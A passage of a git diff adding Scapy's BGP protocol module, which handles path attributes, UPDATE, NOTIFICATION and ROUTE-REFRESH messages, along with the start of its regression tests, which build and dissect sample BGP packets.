conf.raw_layer(m) + # Unassigned + elif (type_code >= 30 and type_code <= 39) or\ + (type_code >= 41 and type_code <= 127) or\ + (type_code >= 129 and type_code <= 254): + ret = conf.raw_layer(m) + # Known path attributes + else: + if type_code == 0x02 and not bgp_module_conf.use_2_bytes_asn: + ret = BGPPAAS4BytesPath(m) + else: + ret = _get_cls( + _path_attr_objects.get(type_code, conf.raw_layer))(m) + + return ret + + +class BGPPathAttr(Packet): + """ + Provides an implementation of the path attributes. + References: RFC 4271 + """ + + name = "BGPPathAttr" + fields_desc = [ + FlagsField("type_flags", 0x80, 8, [ + "NA0", + "NA1", + "NA2", + "NA3", + "Extended-Length", + "Partial", + "Transitive", + "Optional" + ]), + ByteEnumField("type_code", 0, path_attributes), + ConditionalField( + ShortField("attr_ext_len", None), + lambda x: x.type_flags is not None and + has_extended_length(x.type_flags) + ), + ConditionalField( + ByteField("attr_len", None), + lambda x: x.type_flags is not None and not + has_extended_length(x.type_flags) + ), + _PathAttrPacketField("attribute", None, Packet) + ] + + def post_build(self, p, pay): + flags_value = None + length = None + packet = None + extended_length = False + + # Set default flags value ? + if self.type_flags is None: + # Set the standard value, if it is exists in attributes_flags. + if self.type_code in attributes_flags: + flags_value = attributes_flags.get(self.type_code) + + # Otherwise, set to optional, non-transitive. + else: + flags_value = 0x80 + + extended_length = has_extended_length(flags_value) + else: + extended_length = has_extended_length(self.type_flags) + + # Set the flags + if flags_value is None: + packet = p[:2] + else: + packet = struct.pack("!B", flags_value) + p[1] + + # Add the length + if self.attr_len is None: + if self.attribute is None: + length = 0 + else: + if extended_length: + length = len(p) - 4 # Flags + Type + Length (2 bytes) + else: + length = len(p) - 3 # Flags + Type + Length (1 byte) + + if length is None: + if extended_length: + packet = packet + p[2:4] + else: + packet = packet + p[2] + else: + if extended_length: + packet = packet + struct.pack("!H", length) + else: + packet = packet + struct.pack("!B", length) + + # Append the rest of the message + if extended_length: + if self.attribute is not None: + packet = packet + p[4:] + else: + if self.attribute is not None: + packet = packet + p[3:] + + return packet + pay + + +# +# UPDATE +# + +class BGPUpdate(BGP): + """ + UPDATE messages allow peers to exchange routes. + References: RFC 4271 + """ + + name = "UPDATE" + fields_desc = [ + FieldLenField( + "withdrawn_routes_len", + None, + length_of="withdrawn_routes", + fmt="!H" + ), + BGPNLRIPacketListField( + "withdrawn_routes", + [], + BGPNLRI_IPv4, + length_from=lambda p: p.withdrawn_routes_len + ), + FieldLenField( + "path_attr_len", + None, + length_of="path_attr", + fmt="!H" + ), + BGPPathAttrPacketListField( + "path_attr", + [], + BGPPathAttr, + length_from=lambda p: p.path_attr_len + ), + BGPNLRIPacketListField("nlri", [], BGPNLRI_IPv4) + ] + + def post_build(self, p, pay): + subpacklen = lambda p: len(p) + packet = "" + if self.withdrawn_routes_len is None: + wl = sum(map(subpacklen, self.withdrawn_routes)) + packet = p[:0] + struct.pack("!H", wl) + p[2:] + else: + wl = self.withdrawn_routes_len + if self.path_attr_len is None: + length = sum(map(subpacklen, self.path_attr)) + packet = p[:2 + wl] + struct.pack("!H", length) + p[4 + wl:] + + return packet + pay + + +# +# NOTIFICATION +# + +# +# RFC 4271, RFC 7313 +# http://www.iana.org/assignments/bgp-parameters/bgp-parameters.xhtml#bgp-parameters-3 +# +_error_codes = { + 0x01: "Message Header Error", + 0x02: "OPEN Message Error", + 0x03: "UPDATE Message Error", + 0x04: "Hold Timer Expired", + 0x05: "Finite State Machine Error", + 0x06: "Cease", + 0x07: "ROUTE-REFRESH Message Error", # RFC 7313 +} + +# +# http://www.iana.org/assignments/bgp-parameters/bgp-parameters.xhtml#bgp-parameters-4 +# +_error_subcodes = { + # Reserved + 0: {}, + + # Header (RFC 4271) + 1: + { + 0: "Unspecific", + 1: "Connection Not Synchronized", + 2: "Bad Message Length", + 3: "Bad Message Type" + }, + + # OPEN (RFC 4271, RFC 5492) + 2: + { + 0: "Reserved", + 1: "Unsupported Version Number", + 2: "Bad Peer AS", + 3: "Bad BGP Identifier", + 4: "Unsupported Optional Parameter", + 5: "Authentication Failure - Deprecated (RFC 4271)", + 6: "Unacceptable Hold Time", + 7: "Unsupported Capability" + }, + + # UPDATE (RFC 4271) + 3: + { + 0: "Reserved", + 1: "Malformed Attribute List", + 2: "Unrecognized Well-known Attribute", + 3: "Missing Well-known Attribute", + 4: "Attribute Flags Error", + 5: "Attribute Length Error", + 6: "Invalid ORIGIN Attribute", + 7: "AS Routing Loop - Deprecated (RFC 4271)", + 8: "Invalid NEXT_HOP Attribute", + 9: "Optional Attribute Error", + 10: "Invalid Network Field", + 11: "Malformed AS_PATH" + }, + + # Hold Timer Expired + 4: {}, + + # Finite State Machine Error (RFC 6608) + 5: + { + 0: "Unspecified Error", + 1: "Receive Unexpected Message in OpenSent State", + 2: "Receive Unexpected Message in OpenConfirm State", + 3: "Receive Unexpected Message in Established State" + }, + + # Cease (RFC 4486) + 6: + { + 0: "Unspecified Error", + 1: "Maximum Number of Prefixes Reached", + 2: "Administrative Shutdown", + 3: "Peer De-configured", + 4: "Administrative Reset", + 5: "Connection Rejected", + 6: "Other Configuration Change", + 7: "Connection Collision Resolution", + 8: "Out of Resources", + }, + + # ROUTE-REFRESH (RFC 7313) + 7: + { + 0: "Reserved", + 1: "Invalid Message Length" + }, +} + + +class BGPNotification(BGP): + """ + NOTIFICATION messages end a BGP session. + References: RFC 4271 + """ + + name = "NOTIFICATION" + fields_desc = [ + ByteEnumField("error_code", 0, _error_codes), + MultiEnumField( + "error_subcode", + 0, + _error_subcodes, + depends_on=lambda p: p.error_code, + fmt="B" + ), + StrField(name="data", default=None) + ] + + +# +# ROUTE_REFRESH +# + +_orf_when_to_refresh = { + 0x01: "IMMEDIATE", + 0x02: "DEFER" +} + + +_orf_actions = { + 0: "ADD", + 1: "REMOVE", + 2: "REMOVE-ALL" +} + + +_orf_match = { + 0: "PERMIT", + 1: "DENY" +} + + +_orf_entry_afi = 1 +_orf_entry_safi = 1 + + +def _update_orf_afi_safi(afi, safi): + """ + Helper function that sets the afi / safi values + of ORP entries. + """ + + global _orf_entry_afi + global _orf_entry_safi + + _orf_entry_afi = afi + _orf_entry_safi = safi + + +class BGPORFEntry(Packet): + """ + Provides an implementation of an ORF entry. + References: RFC 5291 + """ + + name = "ORF entry" + fields_desc = [ + BitEnumField("action", 0, 2, _orf_actions), + BitEnumField("match", 0, 1, _orf_match), + BitField("reserved", 0, 5), + StrField("value", "") + ] + + +class _ORFNLRIPacketField(PacketField): + """ + PacketField handling the ORF NLRI. + """ + + def m2i(self, pkt, m): + ret = None + + if _orf_entry_afi == 1: + # IPv4 + ret = BGPNLRI_IPv4(m) + + elif _orf_entry_afi == 2: + # IPv6 + ret = BGPNLRI_IPv6(m) + + else: + ret = conf.raw_layer(m) + + return ret + + +class BGPORFAddressPrefix(BGPORFEntry): + """ + Provides an implementation of the Address Prefix ORF (RFC 5292). + """ + + name = "Address Prefix ORF" + fields_desc = [ + BitEnumField("action", 0, 2, _orf_actions), + BitEnumField("match", 0, 1, _orf_match), + BitField("reserved", 0, 5), + IntField("sequence", 0), + ByteField("min_len", 0), + ByteField("max_len", 0), + _ORFNLRIPacketField("prefix", "", Packet), + ] + + +class BGPORFCoveringPrefix(Packet): + """ + Provides an implementation of the CP-ORF (RFC 7543). + """ + + name = "CP-ORF" + fields_desc = [ + BitEnumField("action", 0, 2, _orf_actions), + BitEnumField("match", 0, 1, _orf_match), + BitField("reserved", 0, 5), + IntField("sequence", 0), + ByteField("min_len", 0), + ByteField("max_len", 0), + LongField("rt", 0), + LongField("import_rt", 0), + ByteField("route_type", 0), + PacketField("host_addr", None, Packet) + ] + + +class BGPORFEntryPacketListField(PacketListField): + """ + PacketListField handling the ORF entries. + """ + + def m2i(self, pkt, m): + ret = None + + # Cisco also uses 128 + if pkt.orf_type == 64 or pkt.orf_type == 128: + ret = BGPORFAddressPrefix(m) + + elif pkt.orf_type == 65: + ret = BGPORFCoveringPrefix(m) + + else: + ret = conf.raw_layer(m) + + return ret + + def getfield(self, pkt, s): + lst = [] + length = 0 + ret = b"" + if self.length_from is not None: + length = self.length_from(pkt) + remain = s + if length is not None: + remain, ret = s[:length], s[length:] + + while remain: + orf_len = 0 + + # Get value length, depending on the ORF type + if pkt.orf_type == 64 or pkt.orf_type == 128: + # Address Prefix ORF + # Get the length, in bits, of the prefix + prefix_len = _bits_to_bytes_len( + orb(remain[6]) + ) + # flags (1 byte) + sequence (4 bytes) + min_len (1 byte) + + # max_len (1 byte) + mask_len (1 byte) + prefix_len + orf_len = 8 + prefix_len + + elif pkt.orf_type == 65: + # Covering Prefix ORF + + if _orf_entry_afi == 1: + # IPv4 + # sequence (4 bytes) + min_len (1 byte) + max_len (1 byte) + # noqa: E501 + # rt (8 bytes) + import_rt (8 bytes) + route_type (1 byte) + orf_len = 23 + 4 + + elif _orf_entry_afi == 2: + # IPv6 + # sequence (4 bytes) + min_len (1 byte) + max_len (1 byte) + # noqa: E501 + # rt (8 bytes) + import_rt (8 bytes) + route_type (1 byte) + orf_len = 23 + 16 + + elif _orf_entry_afi == 25: + # sequence (4 bytes) + min_len (1 byte) + max_len (1 byte) + # noqa: E501 + # rt (8 bytes) + import_rt (8 bytes) + route_type = orb(remain[22]) + + if route_type == 2: + # MAC / IP Advertisement Route + orf_len = 23 + 6 + + else: + orf_len = 23 + + current = remain[:orf_len] + remain = remain[orf_len:] + packet = self.m2i(pkt, current) + lst.append(packet) + + return remain + ret, lst + + +class BGPORF(Packet): + """ + Provides an implementation of ORFs carried in the RR message. + References: RFC 5291 + """ + + name = "ORF" + fields_desc = [ + ByteEnumField("when_to_refresh", 0, _orf_when_to_refresh), + ByteEnumField("orf_type", 0, _orf_types), + FieldLenField("orf_len", None, length_of="entries", fmt="!H"), + BGPORFEntryPacketListField( + "entries", + [], + Packet, + length_from=lambda p: p.orf_len, + ) + ] + + +# RFC 7313 +# http://www.iana.org/assignments/bgp-parameters/bgp-parameters.xhtml#route-refresh-subcodes +rr_message_subtypes = { + 0: "Route-Refresh", + 1: "BoRR", + 2: "EoRR", + 255: "Reserved" +} + + +class BGPRouteRefresh(BGP): + """ + Provides an implementation of the ROUTE-REFRESH message. + References: RFC 2918, RFC 7313 + """ + + name = "ROUTE-REFRESH" + fields_desc = [ + ShortEnumField("afi", 1, address_family_identifiers), + ByteEnumField("subtype", 0, rr_message_subtypes), + ByteEnumField("safi", 1, subsequent_afis), + PacketField( + 'orf_data', + "", BGPORF, + lambda p: _update_orf_afi_safi(p.afi, p.safi) + ) + ] + + +# +# Layer bindings +# + +bind_layers(TCP, BGP, dport=179) +bind_layers(TCP, BGP, sport=179) +bind_layers(BGPHeader, BGPOpen, {"type": 1}) +bind_layers(BGPHeader, BGPUpdate, {"type": 2}) +bind_layers(BGPHeader, BGPNotification, {"type": 3}) +bind_layers(BGPHeader, BGPKeepAlive, {"type": 4}) +bind_layers(BGPHeader, BGPRouteRefresh, {"type": 5}) + +# When loading the module, display the current module configuration. +log_runtime.warning( + "[bgp.py] use_2_bytes_asn: %s", bgp_module_conf.use_2_bytes_asn) diff --git a/libs/scapy/contrib/bgp.uts b/libs/scapy/contrib/bgp.uts new file mode 100755 index 0000000..004548c --- /dev/null +++ b/libs/scapy/contrib/bgp.uts @@ -0,0 +1,740 @@ +#################################### bgp.py ################################## +% Regression tests for the bgp module + +# Default configuration : OLD speaker (see RFC 6793) +bgp_module_conf.use_2_bytes_asn = True + +################################ BGPNLRI_IPv4 ################################ ++ BGPNLRI_IPv4 class tests + += BGPNLRI_IPv4 - Instantiation +raw(BGPNLRI_IPv4()) == b'\x00' + += BGPNLRI_IPv4 - Instantiation with specific values (1) +raw(BGPNLRI_IPv4(prefix = '255.255.255.255/32')) == b' \xff\xff\xff\xff' + += BGPNLRI_IPv4 - Instantiation with specific values (2) +raw(BGPNLRI_IPv4(prefix = '0.0.0.0/0')) == b'\x00' + += BGPNLRI_IPv4 - Instantiation with specific values (3) +raw(BGPNLRI_IPv4(prefix = '192.0.2.0/24')) == b'\x18\xc0\x00\x02' + += BGPNLRI_IPv4 - Basic dissection +nlri = BGPNLRI_IPv4(b'\x00') +nlri.prefix == '0.0.0.0/0' + += BGPNLRI_IPv4 - Dissection with specific values +nlri = BGPNLRI_IPv4(b'\x18\xc0\x00\x02') +nlri.prefix == '192.0.2.0/24' + + +################################ BGPNLRI_IPv6 ################################ ++ BGPNLRI_IPv6 class tests + += BGPNLRI_IPv6 - Instantiation +raw(BGPNLRI_IPv6()) == b'\x00' + += BGPNLRI_IPv6 - Instantiation with specific values (1) +raw(BGPNLRI_IPv6(prefix = '::/0')) == b'\x00' + += BGPNLRI_IPv6 - Instantiation with specific values (2) +raw(BGPNLRI_IPv6(prefix = '2001:db8::/32')) == b' \x01\r\xb8' + += BGPNLRI_IPv6 - Basic dissection +nlri = BGPNLRI_IPv6(b'\x00') +nlri.prefix == '::/0' + += BGPNLRI_IPv6 - Dissection with specific values +nlri = BGPNLRI_IPv6(b' \x01\r\xb8') +nlri.prefix == '2001:db8::/32' + + +#################################### BGP ##################################### ++ BGP class tests + += BGP - Instantiation (Should be a KEEPALIVE) +m = BGP() +assert(raw(m) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04') +assert(m.type == BGP.KEEPALIVE_TYPE) + += BGP - Instantiation with specific values (1) +raw(BGP(type = 0)) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x00' + += BGP - Instantiation with specific values (2) +raw(BGP(type = 1)) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x01' + += BGP - Instantiation with specific values (3) +raw(BGP(type = 2)) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x02' + += BGP - Instantiation with specific values (4) +raw(BGP(type = 3)) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x03' + += BGP - Instantiation with specific values (5) +raw(BGP(type = 4)) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04' + += BGP - Instantiation with specific values (6) +raw(BGP(type = 5)) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x05' + += BGP - Basic dissection +h = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04') +assert(h.type == BGP.KEEPALIVE_TYPE) +assert(h.len == 19) + += BGP - Dissection with specific values +h = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x01') +assert(h.type == BGP.OPEN_TYPE) +assert(h.len == 19) + +############################### BGPKeepAlive ################################# ++ BGPKeepAlive class tests + += BGPKeepAlive - Instantiation (by default, should be a "generic" capability) +raw(BGPKeepAlive()) +raw(BGPKeepAlive()) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04' + += BGPKeepAlive - Swallowing tests: combined BGPKeepAlive +o = BGPKeepAlive() +m=IP(src="12.0.0.1",dst="12.0.0.2")/TCP(dport=54321)/BGP(raw(o)*2) +m.show() +assert isinstance(m[BGPKeepAlive].payload, BGPKeepAlive) +assert m[BGPKeepAlive].payload.marker == 0xffffffffffffffffffffffffffffffff + +############################### BGPCapability ################################# ++ BGPCapability class tests + += BGPCapability - Instantiation (by default, should be a "generic" capability) +raw(BGPCapability()) +raw(BGPCapability()) == b'\x00\x00' + += BGPCapability - Instantiation with specific values (1) +c = BGPCapability(code = 70) +assert(raw(c) == b'F\x00') + += BGPCapability - Check exception +from scapy.contrib.bgp import _BGPInvalidDataException +try: + BGPCapability("\x00") + False +except _BGPInvalidDataException: + True + += BGPCapability - Test haslayer() +assert BGPCapFourBytesASN().haslayer(BGPCapability) +assert BGPCapability in BGPCapFourBytesASN() + += BGPCapability - Test getlayer() +assert isinstance(BGPCapFourBytesASN().getlayer(BGPCapability), BGPCapFourBytesASN) +assert isinstance(BGPCapFourBytesASN()[BGPCapability], BGPCapFourBytesASN) + += BGPCapability - sessions (1) +p = IP()/TCP()/BGPCapability() +l = PacketList(p) +s = l.sessions() # Crashed on commit: e42ecdc54556c4852ca06b1a6da6c1ccbf3f522e +assert len(s) == 1 + += BGPCapability - sessions (2) +p = IP()/UDP()/BGPCapability() +l = PacketList(p) +s = l.sessions() # Crashed on commit: e42ecdc54556c4852ca06b1a6da6c1ccbf3f522e +assert len(s) == 1 + + +############################ BGPCapMultiprotocol ############################## ++ BGPCapMultiprotocol class tests + += BGPCapMultiprotocol - Inheritance +c = BGPCapMultiprotocol() +assert(isinstance(c, BGPCapability)) + += BGPCapMultiprotocol - Instantiation +raw(BGPCapMultiprotocol()) == b'\x01\x04\x00\x00\x00\x00' + += BGPCapMultiprotocol - Instantiation with specific values (1) +raw(BGPCapMultiprotocol(afi = 1, safi = 1)) == b'\x01\x04\x00\x01\x00\x01' + += BGPCapMultiprotocol - Instantiation with specific values (2) +raw(BGPCapMultiprotocol(afi = 2, safi = 1)) == b'\x01\x04\x00\x02\x00\x01' + += BGPCapMultiprotocol - Dissection with specific values +c = BGPCapMultiprotocol(b'\x01\x04\x00\x02\x00\x01') +assert(c.code == 1) +assert(c.length == 4) +assert(c.afi == 2) +assert(c.reserved == 0) +assert(c.safi == 1) + +############################### BGPCapORFBlock ############################### ++ BGPCapORFBlock class tests + += BGPCapORFBlock - Instantiation +raw(BGPCapORFBlock()) == b'\x00\x00\x00\x00\x00' + += BGPCapORFBlock - Instantiation with specific values (1) +raw(BGPCapORFBlock(afi = 1, safi = 1)) == b'\x00\x01\x00\x01\x00' + += BGPCapORFBlock - Instantiation with specific values (2) +raw(BGPCapORFBlock(afi = 2, safi = 1)) == b'\x00\x02\x00\x01\x00' + += BGPCapORFBlock - Basic dissection +c = BGPCapORFBlock(b'\x00\x00\x00\x00\x00') +c.afi == 0 and c.reserved == 0 and c.safi == 0 and c.orf_number == 0 + += BGPCapORFBlock - Dissection with specific values +c = BGPCapORFBlock(b'\x00\x02\x00\x01\x00') +c.afi == 2 and c.reserved == 0 and c.safi == 1 and c.orf_number == 0 + + +############################# BGPCapORFBlock.ORF ############################## ++ BGPCapORFBlock.ORF class tests + += BGPCapORFBlock.ORF - Instantiation +raw(BGPCapORFBlock.ORFTuple()) == b'\x00\x00' + += BGPCapORFBlock.ORF - Instantiation with specific values (1) +raw(BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)) == b'@\x03' + += BGPCapORFBlock.ORF - Basic dissection +c = BGPCapORFBlock.ORFTuple(b'\x00\x00') +c.orf_type == 0 and c.send_receive == 0 + += BGPCapORFBlock.ORF - Dissection with specific values +c = BGPCapORFBlock.ORFTuple(b'@\x03') +c.orf_type == 64 and c.send_receive == 3 + + +################################# BGPCapORF ################################### ++ BGPCapORF class tests + += BGPCapORF - Inheritance +c = BGPCapORF() +assert(isinstance(c, BGPCapability)) + += BGPCapORF - Instantiation +raw(BGPCapORF()) == b'\x03\x00' + += BGPCapORF - Instantiation with specific values (1) +raw(BGPCapORF(orf = [BGPCapORFBlock(afi = 1, safi = 1, entries = [BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)])])) == b'\x03\x07\x00\x01\x00\x01\x01@\x03' + += BGPCapORF - Instantiation with specific values (2) +raw(BGPCapORF(orf = [BGPCapORFBlock(afi = 1, safi = 1, entries = [BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)]), BGPCapORFBlock(afi = 2, safi = 1, entries = [BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)])])) == b'\x03\x0e\x00\x01\x00\x01\x01@\x03\x00\x02\x00\x01\x01@\x03' + += BGPCapORF - Basic dissection +c = BGPCapORF(b'\x03\x00') +c.code == 3 and c.length == 0 + += BGPCapORF - Dissection with specific values +c = BGPCapORF(orf = [BGPCapORFBlock(afi = 1, safi = 1, entries = [BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)]), BGPCapORFBlock(afi = 2, safi = 1, entries = [BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)])]) +c.code == 3 and c.orf[0].afi == 1 and c.orf[0].safi == 1 and c.orf[0].entries[0].orf_type == 64 and c.orf[0].entries[0].send_receive == 3 and c.orf[1].afi == 2 and c.orf[1].safi == 1 and c.orf[1].entries[0].orf_type == 64 and c.orf[1].entries[0].send_receive == 3 + += BGPCapORF - Dissection +p = BGPCapORF(b'\x03\x07\x00\x01\x00\x01\x01@\x03') +assert(len(p.orf) == 1) + + +####################### BGPCapGracefulRestart.GRTuple ######################### ++ BGPCapGracefulRestart.GRTuple class tests + += BGPCapGracefulRestart.GRTuple - Instantiation +raw(BGPCapGracefulRestart.GRTuple()) == b'\x00\x00\x00\x00' + += BGPCapGracefulRestart.GRTuple - Instantiation with specific values +raw(BGPCapGracefulRestart.GRTuple(afi = 1, safi = 1, flags = 128)) == b'\x00\x01\x01\x80' + += BGPCapGracefulRestart.GRTuple - Basic dissection +c = BGPCapGracefulRestart.GRTuple(b'\x00\x00\x00\x00') +c.afi == 0 and c.safi == 0 and c.flags == 0 + += BGPCapGracefulRestart.GRTuple - Dissection with specific values +c = BGPCapGracefulRestart.GRTuple(b'\x00\x01\x01\x80') +c.afi == 1 and c.safi == 1 and c.flags == 128 + + +########################### BGPCapGracefulRestart ############################# ++ BGPCapGracefulRestart class tests + += BGPCapGracefulRestart - Inheritance +c = BGPCapGracefulRestart() +assert(isinstance(c, BGPCapGracefulRestart)) + += BGPCapGracefulRestart - Instantiation +raw(BGPCapGracefulRestart()) == b'@\x02\x00\x00' + += BGPCapGracefulRestart - Instantiation with specific values (1) +raw(BGPCapGracefulRestart(restart_time = 120, entries = [BGPCapGracefulRestart.GRTuple(afi = 1, safi = 1)])) == b'@\x06\x00x\x00\x01\x01\x00' + += BGPCapGracefulRestart - Instantiation with specific values (2) +raw(BGPCapGracefulRestart(restart_time = 120, entries = [BGPCapGracefulRestart.GRTuple(afi = 1, safi = 1)])) == b'@\x06\x00x\x00\x01\x01\x00' + += BGPCapGracefulRestart - Instantiation with specific values (3) +raw(BGPCapGracefulRestart(restart_time = 120, entries = [BGPCapGracefulRestart.GRTuple(afi = 1, safi = 1, flags = 128)])) == b'@\x06\x00x\x00\x01\x01\x80' + += BGPCapGracefulRestart - Instantiation with specific values (4) +raw(BGPCapGracefulRestart(restart_time = 120, restart_flags = 0x8, entries = [BGPCapGracefulRestart.GRTuple(afi = 1, safi = 1, flags = 128)])) == b'@\x06\x80x\x00\x01\x01\x80' + += BGPCapGracefulRestart - Basic dissection +c = BGPCapGracefulRestart(b'@\x02\x00\x00') +c.code == 64 and c.restart_flags == 0 and c.restart_time == 0 + += BGPCapGracefulRestart - Dissection with specific values +c = BGPCapGracefulRestart(b'@\x06\x80x\x00\x01\x01\x80') +c.code == 64 and c.restart_time == 120 and c.restart_flags == 0x8 and c.entries[0].afi == 1 and c.entries[0].safi == 1 and c.entries[0].flags == 128 + + +############################ BGPCapFourBytesASN ############################### ++ BGPCapFourBytesASN class tests + += BGPCapFourBytesASN - Inheritance +c = BGPCapFourBytesASN() +assert(isinstance(c, BGPCapFourBytesASN)) + += BGPCapFourBytesASN - Instantiation +raw(BGPCapFourBytesASN()) == b'A\x04\x00\x00\x00\x00' + += BGPCapFourBytesASN - Instantiation with specific values (1) +raw(BGPCapFourBytesASN(asn = 6555555)) == b'A\x04\x00d\x07\xa3' + += BGPCapFourBytesASN - Instantiation with specific values (2) +raw(BGPCapFourBytesASN(asn = 4294967295)) == b'A\x04\xff\xff\xff\xff' + += BGPCapFourBytesASN - Basic dissection +c = BGPCapFourBytesASN(b'A\x04\x00\x00\x00\x00') +c.code == 65 and c.length == 4 and c.asn == 0 + += BGPCapFourBytesASN - Dissection with specific values +c = BGPCapFourBytesASN(b'A\x04\xff\xff\xff\xff') +c.code == 65 and c.length == 4 and c.asn == 4294967295 + + +####################### BGPAuthenticationInformation ########################## ++ BGPAuthenticationInformation class tests + += BGPAuthenticationInformation - Instantiation +raw(BGPAuthenticationInformation()) == b'\x00' + += BGPAuthenticationInformation - Basic dissection +c = BGPAuthenticationInformation(b'\x00') +c.authentication_code == 0 and c.authentication_data == None + + +################################# BGPOptParam ################################# ++ BGPOptParam class tests + += BGPOptParam - Instantiation +raw(BGPOptParam()) == b'\x02\x00' + += BGPOptParam - Instantiation with specific values (1) +raw(BGPOptParam(param_type = 1)) == b'\x01\x00' +raw(BGPOptParam(param_type = 1, param_value = BGPAuthenticationInformation())) == b'\x01\x00' + += BGPOptParam - Instantiation with specific values (2) +raw(BGPOptParam(param_type = 2)) == b'\x02\x00' + += BGPOptParam - Instantiation with specific values (3) +raw(BGPOptParam(param_type = 2, param_value = BGPCapFourBytesASN(asn = 4294967295))) == b'\x02\x06A\x04\xff\xff\xff\xff' + += BGPOptParam - Instantiation with specific values (4) +raw(BGPOptParam(param_type = 2, param_value = BGPCapability(code = 127))) == b'\x02\x02\x7f\x00' + += BGPOptParam - Instantiation with specific values (5) +raw(BGPOptParam(param_type = 2, param_value = BGPCapability(code = 255))) == b'\x02\x02\xff\x00' + += BGPOptParam - Basic dissection +p = BGPOptParam(b'\x02\x00') +p.param_type == 2 and p.param_length == 0 + += BGPOptParam - Dissection with specific values +p = BGPOptParam(b'\x02\x06A\x04\xff\xff\xff\xff') +p.param_type == 2 and p.param_length == 6 and p.param_value[0].code == 65 and p.param_value[0].length == 4 and p.param_value[0].asn == 4294967295 + + +################################### BGPOpen ################################### ++ BGPOpen class tests + += BGPOpen - Instantiation +raw(BGPOpen()) == b'\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00' + += BGPOpen - Instantiation with specific values (1) +raw(BGPOpen(my_as = 64501, bgp_id = "192.0.2.1")) == b'\x04\xfb\xf5\x00\x00\xc0\x00\x02\x01\x00' + += BGPOpen - Instantiation with specific values (2) +opt = BGPOptParam(param_value = BGPCapMultiprotocol(afi = 1, safi = 1)) +raw(BGPOpen(my_as = 64501, bgp_id = "192.0.2.1", opt_params = [opt])) == b'\x04\xfb\xf5\x00\x00\xc0\x00\x02\x01\x08\x02\x06\x01\x04\x00\x01\x00\x01' + += BGPOpen - Instantiation with specific values (3) +cap = BGPOptParam(param_value = BGPCapMultiprotocol(afi = 1, safi = 1)) +capabilities = [cap] +cap = BGPOptParam(param_value = BGPCapability(code = 128)) +capabilities.append(cap) +cap = BGPOptParam(param_value = BGPCapability(code = 2)) +capabilities.append(cap) +cap = BGPOptParam(param_value = BGPCapGracefulRestart(restart_time = 120, entries = [BGPCapGracefulRestart.GRTuple(afi = 1, safi= 1, flags = 128)])) +capabilities.append(cap) +cap = BGPOptParam(param_value = BGPCapFourBytesASN(asn = 64503)) +capabilities.append(cap) +raw(BGPOpen(my_as = 64503, bgp_id = "192.168.100.3", hold_time = 30, opt_params = capabilities)) == b'\x04\xfb\xf7\x00\x1e\xc0\xa8d\x03"\x02\x06\x01\x04\x00\x01\x00\x01\x02\x02\x80\x00\x02\x02\x02\x00\x02\x08@\x06\x00x\x00\x01\x01\x80\x02\x06A\x04\x00\x00\xfb\xf7' + += BGPOpen - Dissection with specific values (1) +m = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00?\x01\x04\xfb\xf7\x00\x1e\xc0\xa8d\x03"\x02\x06\x01\x04\x00\x01\x00\x01\x02\x02\x80\x00\x02\x02\x02\x00\x02\x08@\x06\x00x\x00\x01\x01\x80\x02\x06A\x04\x00\x00\xfb\xf7') +assert(BGPHeader in m and BGPOpen in m) +assert(m.len == 63) +assert(m.type == BGP.OPEN_TYPE) +assert(m.version == 4) +assert(m.my_as == 64503) +assert(m.hold_time == 30) +assert(m.bgp_id == "192.168.100.3") +assert(m.opt_param_len == 34) +assert(isinstance(m.opt_params[0].param_value, BGPCapMultiprotocol)) +assert(isinstance(m.opt_params[1].param_value, BGPCapability)) +assert(isinstance(m.opt_params[2].param_value, BGPCapability)) +assert(isinstance(m.opt_params[3].param_value, BGPCapGracefulRestart)) + += BGPOpen - Dissection with specific values (2) (followed by a KEEPALIVE) +messages = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00=\x01\x04\xfb\xf6\x00\xb4\xc0\xa8ze \x02\x06\x01\x04\x00\x01\x00\x01\x02\x06\x01\x04\x00\x02\x00\x01\x02\x02\x80\x00\x02\x02\x02\x00\x02\x06A\x04\x00\x00\xfb\xf6\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04' +m = BGP(messages) +raw(m) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00=\x01\x04\xfb\xf6\x00\xb4\xc0\xa8ze \x02\x06\x01\x04\x00\x01\x00\x01\x02\x06\x01\x04\x00\x02\x00\x01\x02\x02\x80\x00\x02\x02\x02\x00\x02\x06A\x04\x00\x00\xfb\xf6\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04' + += BGPOpen - Dissection with specific values (3) +m = 